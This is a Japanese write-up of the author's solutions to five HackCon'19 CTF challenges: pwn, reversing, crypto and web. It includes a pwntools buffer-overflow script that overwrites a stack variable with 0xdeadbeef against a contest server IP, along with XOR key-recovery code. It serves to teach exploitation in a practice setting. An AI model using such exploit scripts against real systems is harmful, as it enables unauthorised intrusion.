HackCon'19 write up
HackCon'19に参加しました!
(team:score_gazer)
結果は705点で112位でした
baby b0f (Pwn 100 pt)
ポイント
- バッファオーバーフロー(以下BOF)
解く
プログラムを実行するといきなり入力を求められる
- 間違った入力をすると
Try Again
と表示される
デバッガで逆アセンブルしつつ実行
どうやらこの比較命令が怪しい
RIP: 0x400760 (<main+153>: cmp DWORD PTR [rbp-0x4],0xdeadbeef)
BOFしてここを一致させることを考える
以下のコマンドでrsp,rbpを表示
x/32xw $rsp
x/32xw $rbp
以下の行に注目
0x7fffffffdeb0: 0x4141dfa0 0x000a4141 0x00000000 0xcafebabe
今回はAAAA
と入力したが,その入力値が確認できる(A
は0x41
に相当)
さらに,0xcafebabe
は[rbp-0x4]
であることも分かる
つまり,0xcafebabe
の部分を0xdeadbeef
にできれば良い
ペイロードを作ってサーバに投げるプログラムを作って実行
from pwn import *
import socket
con = remote('68.183.158.95', 8989)
payload = b'A' * 10
payload += b'\xef\xbe\xad\xde'
con.sendline(payload)
con.interactive()
フラグゲット
補足
-
実は初めて解いたPwn問だったりする
-
Pwntoolsを使用してます
babyrev (Reversing 100 pt)
ポイント
- とりあえずデバッグしてみる
解く
逆アセンブルしてみるも,main
には重要そうな処理が無い
begin
やcheck
,end
が怪しそう
それぞれにブレークポイントを設置,ステップ実行してみる
end
をちょっとずつ実行していると,なにやらフラグらしきものが1文字ずつ現れる
フラグゲット
補足
main
からどうやってend
に行ってるのか良く分からなかった
Break It Baby (Reversing 304 pt)
ポイント
- 処理を全部理解しなくても解ける
解く
実行するとDare use IDA
と出てくる(「IDAで解析しろ」と言われてる?)
IDAで解析する
処理を簡単にまとめると以下のようになってる
-
main
で入力を10進数として受け取り(以下input
)test
へ -
test
で0x1673660からinput
を引き,その結果(以下result
)によって分岐
result
が0~21:decrypt
へ進む(result
の値を引数としている)
それ以外:result
に乱数を代入しdecrypt
へ進む
正規ルートが乱数の処理を通るとは思えないので,input
は以下の式を満たす10進数だと推測
input = 0x1673660 - i (i = 1 ... 21)
21通りしかないので総当り
フラグゲット
OTP (Crypto 100 pt)
ポイント
-
ある値に対して,同じ値を2回XORしても値は変わらない
-
XORの演算は入れ替え可能
解く
フラグが2つのmessageに分割されており, message1とmessage2に同じkeyをXOR(記号:^)して暗号化されてる
また,それぞれのmessageには必ずmeme
という文字が含まれている
復号するためには,上記のポイントより,以下の計算を行う
(message1 or 2の暗号文) ^ (message1 or 2の分かってる部分) ^ (message2 or 1の暗号文)
- 暗号文 ^ (
meme
やd4rk{
,}c0de
)より,対応する部分のkeyを求められ,もう一方のmessageを部分的に復元できる
例えばこんなかんじで×の部分が復号できる
message1の暗号文: ○ ○ ○ ○ ○ ○ ○ ○ ○ ○
message1既知部分: m e m e
message2の暗号文: × × × × ○ ○ ○ ○ ○ ○
- 上記の計算をするプログラムを作って実行する
c1 = b'\x05F\x17\x12\x14\x18\x01\x0c\x0b4'.hex()
c2 = b'>\x1f\x00\x14\n\x08\x07Q\n\x0e'.hex()
def convert_cipher(cipher):
l_cipher = list(cipher)
L = len(l_cipher)
h_cipher = []
for i in range(L // 2):
tmp = l_cipher[i * 2: i * 2 + 2]
tmp = "0x" + "".join(tmp)
h_cipher.append(tmp)
print(h_cipher)
return h_cipher
h_c1 = convert_cipher(c1)
h_c2 = convert_cipher(c2)
dec = [0] * 10
dec[0] = chr(ord('d') ^ int(h_c2[0], 16) ^ int(h_c1[0], 16))
dec[1] = chr(ord('4') ^ int(h_c2[1], 16) ^ int(h_c1[1], 16))
dec[2] = chr(ord('r') ^ int(h_c2[2], 16) ^ int(h_c1[2], 16))
dec[3] = chr(ord('k') ^ int(h_c2[3], 16) ^ int(h_c1[3], 16))
dec[4] = chr(ord('{') ^ int(h_c2[4], 16) ^ int(h_c1[4], 16))
dec[5] = chr(ord('}') ^ int(h_c2[5], 16) ^ int(h_c1[5], 16))
dec[6] = chr(ord('c') ^ int(h_c2[6], 16) ^ int(h_c1[6], 16))
dec[7] = chr(ord('0') ^ int(h_c2[7], 16) ^ int(h_c1[7], 16))
dec[8] = chr(ord('d') ^ int(h_c2[8], 16) ^ int(h_c1[8], 16))
dec[9] = chr(ord('e') ^ int(h_c2[9], 16) ^ int(h_c1[9], 16))
m1 = "d4rk{"
for i in range(5):
m1 += dec[i + 5]
m2 = ""
for i in range(5):
m2 += dec[i]
m2 += "}c0de"
print(m1 + m2)
フラグゲット
補足
両方のmessageはともに10文字なので,meme
のヒントは無くても解ける
(d4rk{
,}c0de
は計10文字かつ位置がかぶらない)
message1の暗号文: ○ ○ ○ ○ ○ × × × × ×
message既知部分 : d 4 r k { } c 0 d e
message2の暗号文: × × × × × ○ ○ ○ ○ ○
Secret Agent (Web 100 pt)
ポイント
-
使用しているブラウザの種類はUserAgentで判別できる
-
UserAgentは偽装できる
解く
問題ページに飛ぶと以下の文章が.
- Should d4rkc0de make their own browser
firefoxとかではなくオリジナルのブラウザでしかフラグが確認できない?
ということでUserAgentを以下に書き換える
- Should d4rkc0de make their own browser
フラグゲット
補足
たまたまページ内の文章を入れたら上手く行ったが,“my browser"とかでは駄目だった.
どこかから推測する問題だったのかも?
終わりに
今回のCTF,個人的にはものすごく楽しめました
サーバに全然繋がらなかった…
間違いなどあれば遠慮なくコメントください!